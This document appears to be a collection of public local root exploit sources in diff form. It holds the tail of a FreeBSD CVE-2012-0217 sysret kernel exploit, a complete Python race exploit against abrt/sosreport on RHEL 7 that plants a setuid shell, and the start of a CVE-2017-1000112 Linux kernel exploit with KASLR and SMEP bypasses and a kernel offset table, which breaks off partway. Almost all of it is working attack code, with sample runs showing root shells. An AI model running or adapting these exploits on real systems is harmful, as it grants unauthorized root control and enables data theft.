u_long get_symaddr(char *symname)
|
||||
{
|
||||
struct kld_sym_lookup ksym;
|
||||
|
||||
ksym.version = sizeof (ksym);
|
||||
ksym.symname = symname;
|
||||
|
||||
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
|
||||
perror("kldsym");
|
||||
exit(1);
|
||||
}
|
||||
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
|
||||
return ksym.symvalue;
|
||||
}
|
||||
|
||||
// Code taken from amd64/amd64/machdep.c
|
||||
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
|
||||
{
|
||||
struct gate_descriptor *ip;
|
||||
|
||||
ip = idt + idx;
|
||||
ip->gd_looffset = func;
|
||||
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip->gd_ist = ist;
|
||||
ip->gd_xx = 0;
|
||||
ip->gd_type = typ;
|
||||
ip->gd_dpl = dpl;
|
||||
ip->gd_p = 1;
|
||||
ip->gd_hioffset = func>>16;
|
||||
}
|
||||
|
||||
void shellcode()
|
||||
{
|
||||
// Actually we dont really need to spawn a shell since we
|
||||
// changed our whole cred struct.
|
||||
// Just exit...
|
||||
printf("[*] Got root!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void kernelmodepayload()
|
||||
{
|
||||
struct thread *td;
|
||||
struct ucred *cred;
|
||||
|
||||
// We need to restore/recover whatever we smashed
|
||||
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
|
||||
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
|
||||
// idt[18], idt[17] and idt[16]
|
||||
// thus overall we have:
|
||||
// - idt[18], idt[17] and idt[16] are trashed
|
||||
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
|
||||
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
|
||||
// - rdi -> overwrites the 64bit-LSB of idt[7]
|
||||
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
|
||||
struct gate_descriptor *idt = sidt();
|
||||
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
|
||||
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
|
||||
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
|
||||
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
|
||||
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
|
||||
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
|
||||
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
|
||||
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
|
||||
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
|
||||
|
||||
// get the thread pointer
|
||||
asm ("mov %%gs:0, %0" : "=r"(td));
|
||||
|
||||
// The Dark Knight Rises
|
||||
cred = td->td_proc->p_ucred;
|
||||
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
|
||||
cred->cr_groups[0] = 0;
|
||||
|
||||
// return to user mode to spawn the shell
|
||||
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
|
||||
}
|
||||
|
||||
#define TRIGGERCODESIZE 20
|
||||
#define TRAMPOLINECODESIZE 18
|
||||
|
||||
void trigger()
|
||||
{
|
||||
printf("[*] Setup...\n");
|
||||
// Allocate one page just before the non-canonical address
|
||||
printf(" [+] Trigger code...\n");
|
||||
uint64_t pagesize = getpagesize();
|
||||
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
|
||||
area = mmap(area, pagesize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (area == MAP_FAILED) {
|
||||
perror("mmap (trigger)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Copy the trigger code at the end of the page
|
||||
// such that the syscall instruction is at its
|
||||
// boundary
|
||||
char triggercode[] =
|
||||
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
|
||||
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
|
||||
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
|
||||
"\x0f\x05"; // syscall
|
||||
|
||||
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
|
||||
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
|
||||
|
||||
// There are two outcomes given a target rsp:
|
||||
// - if rsp can't be written to, a double fault is triggered
|
||||
// (Xdblfault defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to a special stack
|
||||
// - otherwise a #GP is triggered
|
||||
// (Xprot defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to [rsp]
|
||||
//
|
||||
// In the latter case, trouble is... #GP triggers a page fault
|
||||
// (Xpage):
|
||||
// IDTVEC(prot)
|
||||
// subq $TF_ERR,%rsp
|
||||
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
|
||||
// [2] movq $0,TF_ADDR(%rsp)
|
||||
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
|
||||
// leaq doreti_iret(%rip),%rdi
|
||||
// cmpq %rdi,TF_RIP(%rsp)
|
||||
// je 1f /* kernel but with user gsbase!! */
|
||||
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
|
||||
// jz 2f /* already running with kernel GS.base */
|
||||
// 1: swapgs
|
||||
// 2: movq PCPU(CURPCB),%rdi [5]
|
||||
//
|
||||
// [4] sets the Z flag because we come from the kernel (while executing sysret)
|
||||
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
|
||||
// it was restored just before calling sysret...
|
||||
// Thus, [5] triggers a pagefault while trying to access gs:data
|
||||
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
|
||||
//
|
||||
// We therefore need a way: (1) to recover from the GP, (2) to clean
|
||||
// any mess we did. Both could be solved if we can get get an arbitrary
|
||||
// code execution by the time we reach [5] (NB: this is not mandatory, we could
|
||||
// get the code execution later down the fault trigger chain)
|
||||
//
|
||||
// So... here is the idea: wouldn't it be nice if we could overwrite the
|
||||
// page fault handler's address and therefore get code execution when [5]
|
||||
// triggers the #PF?
|
||||
//
|
||||
// For reference:
|
||||
// Gate descriptor:
|
||||
// +0: Target Offset[15:0] | Target Selector
|
||||
// +4: Some stuff | Target Offset[31:16]
|
||||
// +8: Target Offset[63:32]
|
||||
// +12: Stuff
|
||||
//
|
||||
// and from include/frame.h:
|
||||
// struct trapframe {
|
||||
// register_t tf_rdi;
|
||||
// register_t tf_rsi;
|
||||
// register_t tf_rdx;
|
||||
// register_t tf_rcx;
|
||||
// register_t tf_r8;
|
||||
// register_t tf_r9;
|
||||
// register_t tf_rax;
|
||||
// register_t tf_rbx;
|
||||
// register_t tf_rbp;
|
||||
// register_t tf_r10;
|
||||
// register_t tf_r11;
|
||||
// register_t tf_r12;
|
||||
// register_t tf_r13;
|
||||
// register_t tf_r14;
|
||||
// register_t tf_r15;
|
||||
// uint32_t tf_trapno;
|
||||
// uint16_t tf_fs;
|
||||
// uint16_t tf_gs;
|
||||
// register_t tf_addr;
|
||||
// uint32_t tf_flags;
|
||||
// uint16_t tf_es;
|
||||
// uint16_t tf_ds;
|
||||
// /* below portion defined in hardware */
|
||||
// register_t tf_err;
|
||||
// register_t tf_rip;
|
||||
// register_t tf_cs;
|
||||
// register_t tf_rflags;
|
||||
// register_t tf_rsp;
|
||||
// register_t tf_ss;
|
||||
// };
|
||||
//
|
||||
// When the exception is triggered, the hardware pushes
|
||||
// ss, rsp, rflags, cs, rip and err
|
||||
//
|
||||
// We can see that [1], [2] and [3] write to the stack
|
||||
// [3] is fully user-controlled through rdi, so we could try to align
|
||||
// rsp such that [3] overwrites the offset address
|
||||
//
|
||||
// The trouble is... rsp is 16byte aligned for exceptions. We can
|
||||
// therefore only overwrite the first 32-LSB of the offset address
|
||||
// (check how rdi is 16byte aligned in this trapframe)
|
||||
//
|
||||
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
|
||||
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
|
||||
// and tf_trapno is 16byte aligned + 8!
|
||||
// This enables us to set Target Offset[63:32] to 0x9
|
||||
//
|
||||
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
|
||||
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
|
||||
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
|
||||
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
|
||||
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
|
||||
// some setup and jump to our kernel mode code
|
||||
printf(" [+] Trampoline code...\n");
|
||||
char trampolinecode[] =
|
||||
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
|
||||
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
|
||||
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
|
||||
"\xff\xe0"; // jmp rax
|
||||
|
||||
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
|
||||
size_t trampoline_allocsize = pagesize;
|
||||
// We round the address to the PAGESIZE for the allocation
|
||||
// Not enough space for the trampoline code ?
|
||||
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
|
||||
trampoline_allocsize += pagesize;
|
||||
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
|
||||
{
|
||||
perror("mmap (trampoline)");
|
||||
exit(1);
|
||||
}
|
||||
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
|
||||
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
|
||||
// Call it
|
||||
printf("[*] Fire in the hole!\n");
|
||||
((void (*)())trigger_addr)();
|
||||
}
|
||||
|
||||
typedef struct validtarget
|
||||
{
|
||||
char * sysname;
|
||||
char * release;
|
||||
char * machine;
|
||||
} validtarget_t;
|
||||
|
||||
int validate_target(char * sysname, char * release, char * machine)
|
||||
{
|
||||
validtarget_t targets[] = {
|
||||
{ "FreeBSD", "8.3-RELEASE", "amd64" },
|
||||
{ "FreeBSD", "9.0-RELEASE", "amd64" },
|
||||
{ 0, 0, 0 }
|
||||
};
|
||||
|
||||
int found = 0;
|
||||
int i = 0;
|
||||
|
||||
while (!found && targets[i].sysname) {
|
||||
found = !strcmp(targets[i].sysname, sysname)
|
||||
&& !strcmp(targets[i].release, release)
|
||||
&& !strcmp(targets[i].machine, machine);
|
||||
++i;
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
void get_cpu_vendor(char * cpu_vendor)
|
||||
{
|
||||
u_int regs[4];
|
||||
|
||||
do_cpuid(0, regs);
|
||||
((u_int *)cpu_vendor)[0] = regs[1];
|
||||
((u_int *)cpu_vendor)[1] = regs[3];
|
||||
((u_int *)cpu_vendor)[2] = regs[2];
|
||||
cpu_vendor[12] = '\0';
|
||||
}
|
||||
|
||||
int is_intel()
|
||||
{
|
||||
char cpu_vendor[13];
|
||||
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
return !strcmp(cpu_vendor, "GenuineIntel");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
|
||||
|
||||
printf("[*] Retrieving host information...\n");
|
||||
char cpu_vendor[13];
|
||||
get_cpu_vendor(cpu_vendor);
|
||||
struct utsname ver;
|
||||
uname(&ver);
|
||||
printf(" [+] CPU: %s\n", cpu_vendor);
|
||||
printf(" [+] sysname: %s\n", ver.sysname);
|
||||
printf(" [+] release: %s\n", ver.release);
|
||||
printf(" [+] version: %s\n", ver.version);
|
||||
printf(" [+] machine: %s\n", ver.machine);
|
||||
printf("[*] Validating target OS and version...\n");
|
||||
if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
|
||||
printf(" [+] NOT Vulnerable :-(\n");
|
||||
exit(1);
|
||||
} else
|
||||
printf(" [+] Vulnerable :-)\n");
|
||||
// Prepare the values we'll need to restore the kernel to a stable state
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
|
||||
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
|
||||
Xill_ptr = (uintptr_t)get_symaddr("Xill");
|
||||
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
|
||||
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
|
||||
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
|
||||
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
|
||||
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
|
||||
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
|
||||
// doeet!
|
||||
trigger();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/python
|
||||
# CVE-2015-5287 (?)
|
||||
# abrt/sosreport RHEL 7.0/7.1 local root
|
||||
# rebel 09/2015
|
||||
|
||||
# [user@localhost ~]$ python sosreport-rhel7.py
|
||||
# crashing pid 19143
|
||||
# waiting for dump directory
|
||||
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
|
||||
# waiting for sosreport directory
|
||||
# sosreport: sosreport-localhost.localdomain-20151130194114
|
||||
# waiting for tmpfiles
|
||||
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
|
||||
# moving directory
|
||||
# moving tmpfiles
|
||||
# tmpurfpyY -> tmpurfpyY.old
|
||||
# tmpYnCfnQ -> tmpYnCfnQ.old
|
||||
# waiting for sosreport to finish (can take several minutes)........................................done
|
||||
# success
|
||||
# bash-4.2# id
|
||||
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
|
||||
# bash-4.2# cat /etc/redhat-release
|
||||
# Red Hat Enterprise Linux Server release 7.1 (Maipo)
|
||||
|
||||
import os,sys,glob,time,sys,socket
|
||||
|
||||
payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"
|
||||
|
||||
pid = os.fork()
|
||||
|
||||
if pid == 0:
|
||||
os.execl("/usr/bin/sleep","sleep","100")
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
print "crashing pid %d" % pid
|
||||
|
||||
os.kill(pid,11)
|
||||
|
||||
print "waiting for dump directory"
|
||||
|
||||
def waitpath(p):
|
||||
while 1:
|
||||
r = glob.glob(p)
|
||||
if len(r) > 0:
|
||||
return r
|
||||
time.sleep(0.05)
|
||||
|
||||
dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]
|
||||
|
||||
print "dump directory: ", dumpdir
|
||||
|
||||
os.chdir(dumpdir)
|
||||
|
||||
print "waiting for sosreport directory"
|
||||
|
||||
sosreport = waitpath("sosreport-*")[0]
|
||||
|
||||
print "sosreport: ", sosreport
|
||||
|
||||
print "waiting for tmpfiles"
|
||||
tmpfiles = waitpath("tmp*")
|
||||
|
||||
print "tmpfiles: ", tmpfiles
|
||||
|
||||
print "moving directory"
|
||||
|
||||
os.rename(sosreport, sosreport + ".old")
|
||||
os.mkdir(sosreport)
|
||||
os.chmod(sosreport,0777)
|
||||
|
||||
os.mkdir(sosreport + "/sos_logs")
|
||||
os.chmod(sosreport + "/sos_logs",0777)
|
||||
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
|
||||
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")
|
||||
|
||||
print "moving tmpfiles"
|
||||
|
||||
for x in tmpfiles:
|
||||
print "%s -> %s" % (x,x + ".old")
|
||||
os.rename(x, x + ".old")
|
||||
open(x, "w+").write("/tmp/hax.sh\n")
|
||||
os.chmod(x,0666)
|
||||
|
||||
|
||||
os.chdir("/")
|
||||
|
||||
sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")
|
||||
|
||||
|
||||
def trigger():
|
||||
open("/tmp/hax.sh","w+").write(payload)
|
||||
os.chmod("/tmp/hax.sh",0755)
|
||||
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
|
||||
except: pass
|
||||
time.sleep(0.5)
|
||||
try:
|
||||
os.stat("/tmp/sh")
|
||||
except:
|
||||
print "could not create suid"
|
||||
sys.exit(-1)
|
||||
print "success"
|
||||
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
|
||||
sys.exit(-1)
|
||||
|
||||
for x in xrange(0,60*10):
|
||||
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
|
||||
print "done"
|
||||
trigger()
|
||||
time.sleep(1)
|
||||
sys.stderr.write(".")
|
||||
|
||||
print "timed out"
|
||||
@@ -0,0 +1,884 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
